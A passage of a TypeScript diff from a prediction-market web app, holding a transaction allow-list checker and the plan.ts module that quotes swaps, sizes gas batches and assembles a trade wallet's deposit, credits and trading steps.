amount)"]); +const EXECUTE_ABI = parseAbi(["function execute(address to, bytes data, uint256 amount, address outputToken)"]); +const SPLIT_FROM_BASE_ABI = parseAbi(["function splitFromBase(address market) payable"]); + +/** A predict transaction departs from the allow-list, the owner rule or the native-value rule, so it is not sent. */ +export class UnlistedTxError extends Error { + constructor(readonly departures: readonly string[]) { + super(`Not sent: ${departures.join("; ")}.`); + this.name = "UnlistedTxError"; + } +} + +/** The tokens a run's approvals may name: the session's collateral and every option's tokens. */ +export const sessionTokensOf = (ctx: Pick, options: readonly PredictOption[]): Address[] => [ + ctx.collateral, + ...options.flatMap((option) => [option.underlying, option.upToken, option.downToken, option.invalidToken]), +]; + +const same = (a: Address, b: Address) => isAddressEqual(a, b); + +/** + * Every way `tx` departs from the chain's allow-list (P5), the owner rule (P4) and the native-value rule, as + * readable lines; empty when it keeps to all of them. `from` is the account the wallet will send it from. + */ +export function departures(args: { + tx: FlowTx; + ctx: PredictCtx; + sessionTokens: readonly Address[]; + from?: Address; + list?: PredictAllowList; +}): string[] { + const { tx, ctx, sessionTokens, from } = args; + const list = args.list ?? PREDICT_ALLOW_LIST[ctx.chainId]; + if (!list) return [`no allow-list for chain ${ctx.chainId}`]; + const out: string[] = []; + if (from !== undefined && !same(from, ctx.owner)) out.push(`sent from ${from}, not the run's owner ${ctx.owner}`); + const data = tx.data ?? "0x"; + const selector = data.length >= 10 ? slice(data, 0, 4) : "0x"; + const value = tx.value ?? 0n; + + const topKind = same(list.tradeExecutorFactory, tx.to) + ? "tradeExecutorFactory" + : same(list.sDaiAdapter, tx.to) + ? "sDaiAdapter" + : same(ctx.collateral, tx.to) + ? "collateral" + : same(list.credits, tx.to) + ? "credits" + : same(ctx.executor, tx.to) + ? "ownExecutor" + : null; + const top = list.topLevel.find((entry) => entry.target === topKind && entry.selector === selector); + if (!top) return [...out, `top-level ${tx.to} ${selector} is not allowed`]; + + if (top.name === "depositXDAI(address)") { + const [to] = decodeFunctionData({ abi: DEPOSIT_XDAI_ABI, data }).args; + if (!same(to, ctx.executor)) out.push(`depositXDAI names ${to}, not the executor`); + return out; + } + if (value !== 0n) out.push(`${top.name} carries ${value} native`); + + if (top.name === "transfer(address,uint256)") { + const [to] = decodeFunctionData({ abi: TRANSFER_ABI, data }).args; + if (!same(to, ctx.executor)) out.push(`transfer names ${to}, not the executor`); + return out; + } + if (topKind !== "ownExecutor") return out; + + const decoded = decodeFunctionData({ abi: tradeExecutorAbi, data }); + const calls: { to: Address; data: Hex; value: bigint }[] = + decoded.functionName === "batchValueExecute" + ? decoded.args[0].map((call) => ({ to: call.to, data: call.data, value: call.value })) + : decoded.functionName === "batchExecute" + ? decoded.args[0].map((call) => ({ to: call.to, data: call.data, value: 0n })) + : []; + + const spenders: Record = { gnosisRouter: list.gnosisRouter, swaprRouter: list.swaprRouter }; + let withdrawn: bigint | undefined; + for (const [index, call] of calls.entries()) { + const at = `call ${index} (${call.to})`; + const kind = same(list.gnosisRouter, call.to) + ? "gnosisRouter" + : same(list.swaprRouter, call.to) + ? "swaprRouter" + : same(list.creditsManager, call.to) + ? "creditsManager" + : same(list.wxdai, call.to) + ? "wxdai" + : sessionTokens.some((token) => same(token, call.to)) + ? "sessionToken" + : null; + const innerSelector = call.data.length >= 10 ? slice(call.data, 0, 4) : "0x"; + const entry = list.inner.find((each) => each.target === kind && each.selector === innerSelector); + if (!entry) { + out.push(`${at}: ${innerSelector} is not allowed`); + continue; + } + + if (call.value !== 0n && !entry.value) out.push(`${at}: ${entry.name} carries ${call.value} native`); + if (entry.value && call.value !== withdrawn) { + out.push(`${at}: ${entry.name} carries ${call.value}, not the ${withdrawn} just unwrapped`); + } + + if (entry.name === "approve(address,uint256)") { + const [spender, amount] = decodeFunctionData({ abi: APPROVE_ABI, data: call.data }).args; + const allowed = (entry.spender ?? []).some((name) => same(spenders[name]!, spender)); + if (!allowed) out.push(`${at}: approves ${spender}`); + if (amount === 2n ** 256n - 1n) out.push(`${at}: approves an unbounded amount`); + } + if (entry.name.startsWith("exactInputSingle")) { + const [params] = decodeFunctionData({ abi: ALGEBRA_ROUTER_ABI, data: call.data }).args; + if (!same(params.recipient, ctx.executor)) out.push(`${at}: swap pays ${params.recipient}`); + if (params.limitSqrtPrice === 0n) out.push(`${at}: swap carries no price limit`); + } + if (entry.name.startsWith("execute(")) { + const [to, swap, , outputToken] = decodeFunctionData({ abi: EXECUTE_ABI, data: call.data }).args; + if (!same(to, list.swaprRouter)) out.push(`${at}: credits spent through ${to}`); + if (!same(outputToken, list.wxdai)) out.push(`${at}: credits buy ${outputToken}`); + const [params] = decodeFunctionData({ abi: ALGEBRA_ROUTER_ABI, data: swap }).args; + if (!same(params.recipient, ctx.executor)) out.push(`${at}: credits swap pays ${params.recipient}`); + } + if (entry.name.startsWith("withdraw(")) { + withdrawn = decodeFunctionData({ abi: WXDAI_ABI, data: call.data }).args[0]; + } + if (entry.name.startsWith("splitFromBase(")) { + const [market] = decodeFunctionData({ abi: SPLIT_FROM_BASE_ABI, data: call.data }).args; + if (!same(market, ctx.parentMarket)) out.push(`${at}: splits ${market}, not the session's parent`); + } + } + return out; +} + +/** Throws `UnlistedTxError` where `tx` departs from any rule `departures` checks. */ +export function assertListed(args: Parameters[0]): void { + const found = departures(args); + if (found.length > 0) throw new UnlistedTxError(found); +} diff --git a/apps/web/src/features/predict/flow/plan.ts b/apps/web/src/features/predict/flow/plan.ts new file mode 100644 index 00000000..d3de9906 --- /dev/null +++ b/apps/web/src/features/predict/flow/plan.ts @@ -0,0 +1,933 @@ +import type { FlowHooks, FlowTx, TxStep } from "@foresight/tx-orchestrator"; +import { + decodeFunctionData, + encodeFunctionData, + erc20Abi, + isAddressEqual, + parseEventLogs, + type Address, + type Log, +} from "viem"; + +import { ALGEBRA_ROUTER_ABI } from "@/lib/swap/algebraRouter"; +import { + NoSwapRouteError, + type ExactInputQuoter, + type SwapQuote, + type SwapQuoter, + type SwapQuoteRequest, +} from "@/lib/swap/types"; +import { + batchExecuteTx, + batchValueExecuteTx, + createExecutorTx, + type ExecutorCall, + type ExecutorValueCall, +} from "@/lib/trade-executor/executor"; +import { depositNativeTx, depositTx } from "@/lib/trade-executor/funding"; +import { splitCalls } from "@/lib/trade-executor/positions"; +import { optionTradeCalls, type QuotedSwap } from "@/lib/trade-executor/predict"; + +import { creditsManagerAbi, gnosisRouterAbi, tradeExecutorAbi, wxdaiAbi } from "@/config/contracts"; + +import { STEP_ID } from "./stepIds"; +import type { + CreditsSwapPreview, + HeldTo, + LandedTx, + MovedPlans, + OptionChainState, + PredictCtx, + PlannedRequest, + PredictOption, + PredictRequest, + PredictReader, + PredictSlippage, + PredictSnapshot, +} from "./types"; +import { CREDITS_MIN_RATE_WAD, DEFAULT_SLIPPAGE, MAX_SLIPPAGE_BPS } from "../oracle/tolerances"; +import { + atEstimate, + planBuys, + planChanged, + planSells, + previewTrades, + quotesShort, + shownLegs, + type OptionSide, + type PreviewTrades, + type QuotedLeg, + type QuotedLegs, + type SoldLeg, + type SwapLeg, +} from "../utils/plan"; + +/** + * The predict-flow adapter: set up the trade wallet, add money, then move the pools toward the + * visitor's estimates. The trades are quoted inside `build`, which the orchestrator runs afresh + * on every attempt, so a retry or a resume prices against the pools as they are then. + */ + +type Step = TxStep; + +export { STEP_ID }; + +/** Gas a predict batch spends besides its options, the parent split included; ~0.57M on a Gnosis fork. */ +export const BATCH_BASE_GAS = 700_000n; +/** Gas each option adds to a batch: its split, legs and merge; ~1.25M on a Gnosis fork. */ +export const OPTION_GAS = 1_500_000n; +/** Gas the credits leg adds to the first batch; ~0.53M on a Gnosis fork. */ +export const CREDITS_LEG_GAS = 700_000n; +/** Of ten thousand, the share of the block gas limit one batch is sized to fill. */ +export const BATCH_GAS_SHARE_BPS = 5_000n; +/** The most gas one transaction may use where EIP-7825 applies, whatever the block's limit. */ +export const MAX_TX_GAS = 16_777_216n; + +/** What a batch of `options` is sized to spend, the credits leg included when it carries one. */ +export const batchGas = (options: number, credits: boolean): bigint => + BATCH_BASE_GAS + (credits ? CREDITS_LEG_GAS : 0n) + BigInt(options) * OPTION_GAS; + +/** The options one batch holds under `blockGasLimit`'s budget; never fewer than one. */ +export function optionsPerBatch(blockGasLimit: bigint, credits: boolean): number { + const share = (blockGasLimit * BATCH_GAS_SHARE_BPS) / 10_000n; + const room = (share < MAX_TX_GAS ? share : MAX_TX_GAS) - batchGas(0, credits); + return room < OPTION_GAS ? 1 : Number(room / OPTION_GAS); +} + +export interface PredictDeps { + reader: PredictReader; + quoter: SwapQuoter; + /** Quotes the swap the credits manager makes; needed only by a run that spends credits. */ + creditsQuoter?: ExactInputQuoter; + /** Told about an option no route could be found for, which the batch `stepId` leaves out. */ + onLeftOut?: (option: PredictOption, reason: unknown, stepId: string) => void; + /** What the visitor was shown; a batch whose plan differs is not signed. None holds nothing. */ + heldTo?: () => HeldTo | undefined; +} + +const outcomeToken = (option: PredictOption, side: OptionSide): Address => + side === "up" ? option.upToken : option.downToken; + +/** Nothing in the batch can move a pool toward its estimate; trying again with the same input will not help. */ +export class NoRouteError extends Error { + constructor(message: string) { + super(message); + this.name = "NoRouteError"; + } +} + +/** Every option's pools already sit at its estimate, so there is nothing to trade. */ +export class AtEstimatesError extends Error { + constructor() { + super("Every pool already sits at its estimate."); + this.name = "AtEstimatesError"; + } +} + +/** One option's pools already sit at its estimate. */ +class OptionAtEstimate extends Error {} + +/** One option's live quotes pay less than the plan the run is held to. */ +class OptionQuotesShort extends Error { + constructor( + message: string, + readonly quoted: QuotedLegs, + ) { + super(message); + } +} + +/** The quoter gave no answer, so whether a route exists is unknown; trying again may help. */ +export class QuoteFailedError extends Error { + constructor(options: ErrorOptions) { + super("The quoter could not be asked for a price.", options); + this.name = "QuoteFailedError"; + } +} + +/** The run is set up so that it cannot succeed; trying again with the same input fails the same way. */ +export class PredictConfigError extends Error { + constructor(message: string) { + super(message); + this.name = "PredictConfigError"; + } +} + +/** The credits cannot be spent now: the manager is short, no route swaps them, or the route pays elsewhere. */ +export class CreditsUnavailableError extends Error { + constructor(message: string, options?: ErrorOptions) { + super(message, options); + this.name = "CreditsUnavailableError"; + } +} + +/** The pools give another plan, or the credits swap pays less, than the run is held to. */ +export class PlansMovedError extends Error { + constructor(readonly moved: MovedPlans) { + super("The pools moved since the plan was shown."); + this.name = "PlansMovedError"; + } +} + +/** Of ten thousand, how far a plan's figures may move from those shown before it is moved, at most. */ +export const MOVED_TOLERANCE_BPS = DEFAULT_SLIPPAGE.tradeBps; + +/** The owner has a transaction broadcast and not mined, which may be the one a step would sign again. */ +export class TxPendingError extends Error { + constructor() { + super("A transaction from this wallet has not been mined yet."); + this.name = "TxPendingError"; + } +} + +async function quoteLeg(deps: PredictDeps, request: SwapQuoteRequest): Promise { + try { + return await deps.quoter.quote(request); + } catch (error) { + if (error instanceof NoSwapRouteError) throw error; + throw new QuoteFailedError({ cause: error }); + } +} + +function batched(items: T[], size: number): T[][] { + const batches: T[][] = []; + for (let index = 0; index < items.length; index += size) batches.push(items.slice(index, index + size)); + return batches; +} + +/** + * One option's trades. The sells are quoted before the buys are sized, because what a sell pays + * is what the buys have to spend, less what the slippage setting lets a sell fall short by. + */ +async function optionCalls( + ctx: PredictCtx, + option: PredictOption, + state: OptionChainState, + mint: bigint, + slippageBps: number, + deps: PredictDeps, + /** What the popup showed for this option's legs, which its quotes may fall short of by `toleranceBps`. */ + shown: { legs: QuotedLegs; toleranceBps: number } | undefined, +): Promise { + const splitAmount = state.underlying + mint; + const target = { pools: state.pools, targetPriceWad: option.targetPriceWad, held: state.held, splitAmount }; + + const sells: QuotedSwap[] = []; + const sold: SoldLeg[] = []; + const quoted: { sells: QuotedLeg[]; buys: QuotedLeg[] } = { sells: [], buys: [] }; + for (const leg of planSells(target)) { + const tokenIn = outcomeToken(option, leg.side); + const quote = await quoteLeg(deps, { + tokenIn, + tokenOut: option.underlying, + amount: leg.amountIn, + recipient: ctx.executor, + slippageBps, + limitSqrtPrice: leg.limitSqrtPrice, + amountInAtLimit: leg.amountInAtLimit, + amountOutAtLimit: leg.amountOutAtLimit, + poolFee: state.pools[leg.side].fee, + ...heldOut(shown?.legs.sells, leg), + }); + sells.push({ tokenIn, quote }); + sold.push({ ...leg, underlyingOut: quote.amountOut }); + quoted.sells.push(quotedLeg(leg, quote)); + } + + const { mergeAmount, legs } = planBuys(target, sold, slippageBps); + + const buys: QuotedSwap[] = []; + for (const leg of legs) { + const quote = await quoteLeg(deps, { + tokenIn: option.underlying, + tokenOut: outcomeToken(option, leg.side), + amount: leg.amountIn, + recipient: ctx.executor, + slippageBps, + limitSqrtPrice: leg.limitSqrtPrice, + amountInAtLimit: leg.amountInAtLimit, + amountOutAtLimit: leg.amountOutAtLimit, + poolFee: state.pools[leg.side].fee, + ...heldOut(shown?.legs.buys, leg), + }); + buys.push({ tokenIn: option.underlying, quote }); + quoted.buys.push(quotedLeg(leg, quote)); + } + + // the pools were checked against the held plan when read; a pool moved after that shows only in the quotes + if (shown && quotesShort(shown.legs, quoted, shown.toleranceBps)) { + throw new OptionQuotesShort(`${option.childMarket}'s quotes pay less than the plan shown.`, quoted); + } + + if (sells.length === 0 && buys.length === 0) { + if (atEstimate(target)) throw new OptionAtEstimate(`${option.childMarket} already sits at your estimate.`); + throw new Error(`No route moves ${option.childMarket} toward your estimate.`); + } + + return optionTradeCalls({ + router: ctx.router, + childMarket: option.childMarket, + collateral: ctx.collateral, + underlying: option.underlying, + outcomeTokens: [option.downToken, option.upToken], + invalidToken: option.invalidToken, + splitAmount, + sells, + mergeAmount, + buys, + }); +} + +/** What a leg spends: its amount, or less where its limit stops it, as the preview shows a leg. */ +const spentBy = (leg: SwapLeg): bigint => (leg.amountIn < leg.amountInAtLimit ? leg.amountIn : leg.amountInAtLimit); + +/** A leg as quoted, spending no more than its limit lets it, as the preview shows a leg. */ +const quotedLeg = (leg: SwapLeg, quote: SwapQuote): QuotedLeg => ({ + side: leg.side, + amountIn: spentBy(leg), + amountOut: quote.amountOut, +}); + +/** The shown exchange rate applied to what this leg spends. */ +function heldOut(shown: readonly QuotedLeg[] | undefined, leg: SwapLeg): { heldOut?: bigint } { + const before = shown?.find((each) => each.side === leg.side); + if (before === undefined || before.amountIn === 0n) return {}; + const spent = spentBy(leg); + return { heldOut: (before.amountOut * spent) / before.amountIn }; +} + +/** The credits leg of the first batch, and the collateral its xDAI mints at the parent. */ +interface CreditsLeg { + calls: ExecutorValueCall[]; + /** What each option splits of the mint: the vault's preview less `MINT_RATE_MARGIN_BPS`. */ + minted: bigint; + /** The swap as quoted now, when it pays less than the floor the run is held to, or none was shown. */ + moved?: CreditsSwapPreview; +} + +/** + * Of ten thousand, held back from the credits' mint when each option's split is sized. Interest + * landing in sDAI raises its rate, so `splitFromBase` can mint less than the build-time preview. + */ +export const MINT_RATE_MARGIN_BPS = 1n; + +async function quoteCreditsSwap( + ctx: Pick, + amount: bigint, + creditsBps: number, + deps: Pick, +) { + const route = ctx.credits; + if (route === null) throw new PredictConfigError("Credits cannot fund this session on this network."); + if (!deps.creditsQuoter) throw new PredictConfigError("There is no quoter for the credits swap."); + + let quote; + try { + quote = await deps.creditsQuoter.quote({ + tokenIn: ctx.collateral, + tokenOut: route.wxdai, + amount, + recipient: ctx.executor, + }); + } catch (error) { + if (error instanceof NoSwapRouteError) throw new CreditsUnavailableError(error.message, { cause: error }); + throw new QuoteFailedError({ cause: error }); + } + + // the manager calls only the routers it whitelists, and checks the caller received the output + const [params] = decodeFunctionData({ abi: ALGEBRA_ROUTER_ABI, data: quote.data }).args; + if ( + !isAddressEqual(quote.router, route.swaprRouter) || + !isAddressEqual(params.recipient, ctx.executor) || + !isAddressEqual(params.tokenIn, ctx.collateral) || + !isAddressEqual(params.tokenOut, route.wxdai) || + params.amountIn !== amount + ) { + throw new CreditsUnavailableError("The credits swap was quoted for another route than the manager's."); + } + + const atMinRate = (amount * CREDITS_MIN_RATE_WAD) / 10n ** 18n; + const floor = + ((quote.amountOut > atMinRate ? quote.amountOut : atMinRate) * (10_000n - BigInt(creditsBps))) / 10_000n; + // a swap quoted under its floor would revert, so it is refused before anything is signed + if (quote.amountOut < floor) { + throw new CreditsUnavailableError("The credits swap is quoted below what the credits are worth."); + } + const vaultValue = await deps.reader.vaultValue(amount); + const preview: CreditsSwapPreview = { + amount, + creditsBps, + quoted: quote.amountOut, + vaultValue, + floor, + loss: vaultValue > quote.amountOut ? vaultValue - quote.amountOut : 0n, + minted: await mintedFrom(floor, deps), + }; + return { params, preview }; +} + +/** The collateral each option splits of `floor` xDAI, held back so a rate rise cannot leave the split short. */ +async function mintedFrom(floor: bigint, deps: Pick): Promise { + const preview = await deps.reader.previewDeposit(floor); + return preview - (preview * MINT_RATE_MARGIN_BPS) / 10_000n; +} + +/** The credits swap a run spending `amount` would make now, for the popup to show before Predict. */ +export async function previewCreditsSwap( + ctx: Pick, + amount: bigint, + creditsBps: number, + deps: Pick, +): Promise { + return (await quoteCreditsSwap(ctx, amount, creditsBps, deps)).preview; +} + +/** + * The manager swaps `creditsToSpend` of its collateral for WXDAI paid to the executor, which unwraps the floor, + * the shown one for a run held to it, and splits it at the parent as xDAI. The surplus stays as WXDAI. + */ +async function creditsLeg(ctx: PredictCtx, amount: bigint, creditsBps: number, deps: PredictDeps): Promise { + const route = ctx.credits; + if (route === null) throw new PredictConfigError("Credits cannot fund this session on this network."); + if ((await deps.reader.managerCollateral()) < amount) { + throw new CreditsUnavailableError("The credits manager cannot cover these credits right now."); + } + + const { params, preview: swapped } = await quoteCreditsSwap(ctx, amount, creditsBps, deps); + const held = deps.heldTo?.(); + const shown = held?.credits; + const sameSwap = shown !== undefined && shown.amount === amount && shown.creditsBps === creditsBps; + const moved = held !== undefined && (!sameSwap || swapped.quoted < shown.floor); + // the shown floor binds only the swap it was quoted for, and never sits under the live quote's own + const floor = !moved && sameSwap && shown.floor > swapped.floor ? shown.floor : swapped.floor; + const swap = encodeFunctionData({ + abi: ALGEBRA_ROUTER_ABI, + functionName: "exactInputSingle", + args: [{ ...params, amountOutMinimum: floor, limitSqrtPrice: 0n }], + }); + + return { + minted: await mintedFrom(floor, deps), + ...(moved ? { moved: swapped } : {}), + calls: [ + { + to: route.manager, + value: 0n, + data: encodeFunctionData({ + abi: creditsManagerAbi, + functionName: "execute", + args: [route.swaprRouter, swap, amount, route.wxdai], + }), + }, + { + to: route.wxdai, + value: 0n, + data: encodeFunctionData({ abi: wxdaiAbi, functionName: "withdraw", args: [floor] }), + }, + { + to: ctx.router, + value: floor, + data: encodeFunctionData({ abi: gnosisRouterAbi, functionName: "splitFromBase", args: [ctx.parentMarket] }), + }, + ], + }; +} + +async function predictCalls(args: { + ctx: PredictCtx; + stepId: string; + options: PredictOption[]; + /** Collateral to split at the parent, which gives every option its underlying. */ + mint: bigint; + /** The first batch's credits leg, whose minted collateral every option gets as well. */ + credits?: CreditsLeg; + slippageBps: number; + deps: PredictDeps; +}): Promise { + const { ctx, stepId, options, mint, credits, slippageBps, deps } = args; + const states = await deps.reader.optionStates({ options, executor: ctx.executor }); + const held = deps.heldTo?.(); + if (held) { + const moved = movedFrom(held, options, states, mint + (credits?.minted ?? 0n), slippageBps); + if (moved.markets.length > 0 || credits?.moved) { + throw new PlansMovedError({ ...moved, ...(credits?.moved ? { credits: credits.moved } : {}) }); + } + } + + const calls: ExecutorValueCall[] = [ + ...(credits?.calls ?? []), + ...(mint > 0n + ? splitCalls({ router: ctx.router, collateral: ctx.collateral, market: ctx.parentMarket, amount: mint }) + : [] + ).map(withoutValue), + ]; + const perOption = mint + (credits?.minted ?? 0n); + + let traded = 0; + const reasons: unknown[] = []; + const short: Address[] = []; + const shortQuotes: Record = {}; + const toleranceBps = Math.min(slippageBps, MOVED_TOLERANCE_BPS); + for (const [index, option] of options.entries()) { + const state = states[index]; + if (state === undefined) continue; + + try { + const key = option.childMarket.toLowerCase(); + const plan = held?.plans?.[key]; + // quotes confirmed at moved stand for the plan's figures: the pools as read can price below what a swap pays + const shown = plan ? { legs: held?.quotes?.[key] ?? shownLegs(plan), toleranceBps } : undefined; + calls.push(...(await optionCalls(ctx, option, state, perOption, slippageBps, deps, shown)).map(withoutValue)); + traded += 1; + } catch (reason) { + if (reason instanceof QuoteFailedError) throw reason; + if (reason instanceof OptionQuotesShort) { + short.push(option.childMarket); + shortQuotes[option.childMarket.toLowerCase()] = reason.quoted; + continue; + } + reasons.push(reason); + deps.onLeftOut?.(option, reason, stepId); + } + } + + if (held && short.length > 0) { + const now = await deps.reader.optionStates({ options, executor: ctx.executor }); + const moved = movedFrom(held, options, now, perOption, slippageBps); + const markets = [...short, ...moved.markets.filter((market) => !short.includes(market))]; + throw new PlansMovedError({ ...moved, markets, quotes: shortQuotes }); + } + + if (traded === 0) { + if (reasons.length > 0 && reasons.every((reason) => reason instanceof OptionAtEstimate)) { + throw new AtEstimatesError(); + } + throw new NoRouteError("No route was found for any of these estimates. Try again in a moment, or a larger amount."); + } + + return calls; +} + +const withoutValue = (call: ExecutorCall): ExecutorValueCall => ({ ...call, value: 0n }); + +const trades = (plan: PreviewTrades) => plan.sells.length > 0 || plan.buys.length > 0; + +/** + * Each option's plan as the pools give it now, worked out as the popup's preview does, and the + * options whose plan differs from `held`'s; an option shown no plan differs once it trades. + */ +function movedFrom( + held: HeldTo, + options: PredictOption[], + states: OptionChainState[], + perOption: bigint, + slippageBps: number, +): MovedPlans { + if (!held.plans) return { markets: [], plans: {} }; + const tolerance = Math.min(slippageBps, MOVED_TOLERANCE_BPS); + const plans: Record = {}; + const markets: Address[] = []; + for (const [index, option] of options.entries()) { + const state = states[index]; + if (state === undefined) continue; + const now = previewTrades( + { + pools: state.pools, + targetPriceWad: option.targetPriceWad, + held: state.held, + splitAmount: state.underlying + perOption, + }, + slippageBps, + ); + if (now === null) continue; + const key = option.childMarket.toLowerCase(); + plans[key] = now; + const before = held.plans[key]; + if (before === undefined ? trades(now) : planChanged(before, now, tolerance)) markets.push(option.childMarket); + } + return { markets, plans }; +} + +/** One moved result for several batches. */ +const mergeMoved = (into: MovedPlans | undefined, next: MovedPlans): MovedPlans => ({ + markets: [...(into?.markets ?? []), ...next.markets], + plans: { ...into?.plans, ...next.plans }, + ...((into?.quotes ?? next.quotes) ? { quotes: { ...into?.quotes, ...next.quotes } } : {}), + ...((next.credits ?? into?.credits) ? { credits: next.credits ?? into?.credits } : {}), +}); + +/** `batchValueExecute` only when a call carries native value, so a run without credits signs `batchExecute`. */ +function batchTx(executor: Address, calls: ExecutorValueCall[]): FlowTx { + return calls.some((call) => call.value > 0n) + ? batchValueExecuteTx(executor, calls) + : batchExecuteTx( + executor, + calls.map(({ to, data }) => ({ to, data })), + ); +} + +/** The part of `collateralIn` the trade wallet already held, as the visitor was shown it. */ +export function tradeWalletShare(snap: Pick): bigint { + const shown = snap.collateralBefore; + return snap.collateralIn < shown ? snap.collateralIn : shown; +} + +function addCreditsTx(ctx: PredictCtx, snap: Readonly): FlowTx { + if (ctx.credits === null) throw new PredictConfigError("Credits cannot fund this session on this network."); + return { + to: ctx.credits.token, + data: encodeFunctionData({ abi: erc20Abi, functionName: "transfer", args: [ctx.executor, snap.creditsFromEoa] }), + }; +} + +function depositStepTx(ctx: PredictCtx, snap: Readonly): FlowTx { + if (!snap.depositNative) { + return depositTx({ executor: ctx.executor, asset: { token: ctx.collateral, amount: snap.deposit } }); + } + if (ctx.sDaiAdapter === null) { + throw new PredictConfigError("This network has no xDAI route into the trade wallet."); + } + return depositNativeTx({ executor: ctx.executor, sDaiAdapter: ctx.sDaiAdapter, amount: snap.deposit }); +} + +const landedSince = (deps: Pick, ctx: PredictCtx, snap: Readonly) => + deps.reader.landedSince({ owner: ctx.owner, executor: ctx.executor, fromBlock: snap.fromBlock }); + +/** `landed` is `tx` itself: the same target, value and calldata. */ +export const isTx = (landed: Pick, tx: FlowTx): boolean => + isAddressEqual(landed.to, tx.to) && + landed.value === (tx.value ?? 0n) && + landed.input.toLowerCase() === (tx.data ?? "0x").toLowerCase(); + +/** + * `landed` is this run's first batch: a batch on its trade wallet that splits its sDAI and spends + * its credits at its parent market. Its trades are rebuilt from fresh quotes, so they are not compared. + */ +function isFirstBatch(landed: LandedTx, ctx: PredictCtx, snap: Readonly): boolean { + // a batch that neither splits nor spends credits leaves nothing in the logs to tell it from another + if (snap.collateralIn === 0n && snap.creditsToSpend === 0n) return false; + if (!isAddressEqual(landed.to, ctx.executor)) return false; + let calls: readonly { to: Address; data: `0x${string}` }[]; + try { + const batch = decodeFunctionData({ abi: tradeExecutorAbi, data: landed.input }); + if (batch.functionName !== "batchExecute" && batch.functionName !== "batchValueExecute") return false; + calls = batch.args[0]; + } catch { + return false; + } + + const decoded = (abi: typeof gnosisRouterAbi | typeof creditsManagerAbi, data: `0x${string}`) => { + try { + return decodeFunctionData({ abi, data }); + } catch { + return undefined; + } + }; + const routerCalls = calls.filter((call) => isAddressEqual(call.to, ctx.router)); + const splits = + snap.collateralIn === 0n || + routerCalls.some((call) => { + const inner = decoded(gnosisRouterAbi, call.data); + return ( + inner?.functionName === "splitPosition" && + isAddressEqual(inner.args[0], ctx.collateral) && + isAddressEqual(inner.args[1], ctx.parentMarket) && + inner.args[2] === snap.collateralIn + ); + }); + const manager = ctx.credits?.manager; + const spends = + snap.creditsToSpend === 0n || + (manager !== undefined && + calls.some((call) => { + const inner = isAddressEqual(call.to, manager) ? decoded(creditsManagerAbi, call.data) : undefined; + return inner?.functionName === "execute" && inner.args[2] === snap.creditsToSpend; + }) && + routerCalls.some((call) => { + const inner = decoded(gnosisRouterAbi, call.data); + return inner?.functionName === "splitFromBase" && isAddressEqual(inner.args[0], ctx.parentMarket); + })); + return splits && spends; +} + +/** + * Whether a money step already landed, found by its own transaction since the run's pinned block. + * A transaction still in the mempool shows in no log, so while one is out nothing is signed again. + */ +async function landedOrPending( + deps: Pick, + ctx: PredictCtx, + snap: Readonly, + matches: (landed: LandedTx) => boolean, +): Promise { + // the mempool first: a transaction that mines between the two reads is then in the logs + const pending = await deps.reader.hasPending(ctx.owner); + if ((await landedSince(deps, ctx, snap)).some(matches)) return true; + if (pending) throw new TxPendingError(); + return false; +} + +/** The collateral a receipt's logs show moving into the trade wallet. */ +function collateralInto(logs: Log[], ctx: PredictCtx): bigint { + return parseEventLogs({ abi: erc20Abi, eventName: "Transfer", logs }) + .filter((log) => isAddressEqual(log.address, ctx.collateral) && isAddressEqual(log.args.to, ctx.executor)) + .reduce((sum, log) => sum + log.args.value, 0n); +} + +const validSlippage = (bps: number) => Number.isInteger(bps) && bps >= 0 && bps <= MAX_SLIPPAGE_BPS; + +function assertSlippage(slippage: PredictSlippage): void { + if (!validSlippage(slippage.tradeBps) || !validSlippage(slippage.creditsBps)) { + throw new PredictConfigError(`Slippage must be a whole number of basis points from 0 to ${MAX_SLIPPAGE_BPS}.`); + } +} + +/** Live estimates of the first batch, at most, before sizing settles on one option a batch. */ +const SIZING_ESTIMATES = 3; + +/** + * Options per batch: the budget's count, cut while a live estimate of the first batch runs over the block's batch + * share, and kept only once an estimate shows it fits. Only that batch can be estimated before signing, and only + * once nothing precedes it; the rest share its count. + */ +export async function sizeBatches( + ctx: PredictCtx, + request: PredictRequest, + deps: PredictDeps, + blockGasLimit: bigint, +): Promise { + const credits = request.creditsToSpend > 0n; + let size = optionsPerBatch(blockGasLimit, credits); + const estimable = + request.deposit === 0n && request.creditsFromEoa === 0n && (await deps.reader.isExecutorDeployed(ctx.executor)); + if (!estimable) return size; + + const share = (blockGasLimit * BATCH_GAS_SHARE_BPS) / 10_000n; + const room = share < MAX_TX_GAS ? share : MAX_TX_GAS; + const quiet = { ...deps, onLeftOut: undefined, heldTo: undefined }; + let previous: { size: number; gas: bigint } | undefined; + for (let attempt = 0; attempt < SIZING_ESTIMATES && size > 1; attempt++) { + const options = request.options.slice(0, size); + let live: bigint; + try { + const tx = batchTx( + ctx.executor, + await predictCalls({ + ctx, + stepId: STEP_ID.predict(1), + options, + mint: request.collateralIn, + credits: credits + ? await creditsLeg(ctx, request.creditsToSpend, request.slippage.creditsBps, quiet) + : undefined, + slippageBps: request.slippage.tradeBps, + deps: quiet, + }), + ); + live = await deps.reader.estimateGas({ from: ctx.owner, to: tx.to, data: tx.data, value: tx.value }); + } catch { + return size; + } + const budget = batchGas(options.length, credits); + const gas = live > budget ? live : budget; + if (gas <= room) return size; + // two estimates give the batch's fixed cost and its cost an option; one gives only the average + const slope = previous && previous.gas > gas ? (previous.gas - gas) / BigInt(previous.size - size) : 0n; + const next = slope > 0n ? (room - (gas - slope * BigInt(size))) / slope : (BigInt(options.length) * room) / gas; + previous = { size, gas }; + size = Math.max(1, Math.min(size - 1, Number(next < 0n ? 0n : next))); + } + return 1; +} + +export function planPredict(snapshot: PlannedRequest, deps: PredictDeps): Step[] { + if (snapshot.options.length === 0) { + throw new PredictConfigError("There are no estimates to predict."); + } + assertSlippage(snapshot.slippage); + if (!Number.isInteger(snapshot.optionsPerBatch) || snapshot.optionsPerBatch < 1) { + throw new PredictConfigError("A batch must hold at least one option."); + } + + const steps: Step[] = [ + { + id: STEP_ID.createExecutor, + label: "Set up your trade wallet", + canSkip: (ctx) => deps.reader.isExecutorDeployed(ctx.executor), + build: (ctx) => createExecutorTx(ctx.factory), + }, + ]; + + if (snapshot.creditsFromEoa > 0n) { + steps.push({ + id: STEP_ID.addCredits, + label: "Add credits to your trade wallet", + canSkip: (ctx, snap) => landedOrPending(deps, ctx, snap, (landed) => isTx(landed, addCreditsTx(ctx, snap))), + build: addCreditsTx, + }); + } + + if (snapshot.deposit > 0n) { + steps.push({ + id: STEP_ID.deposit, + label: "Add money to your 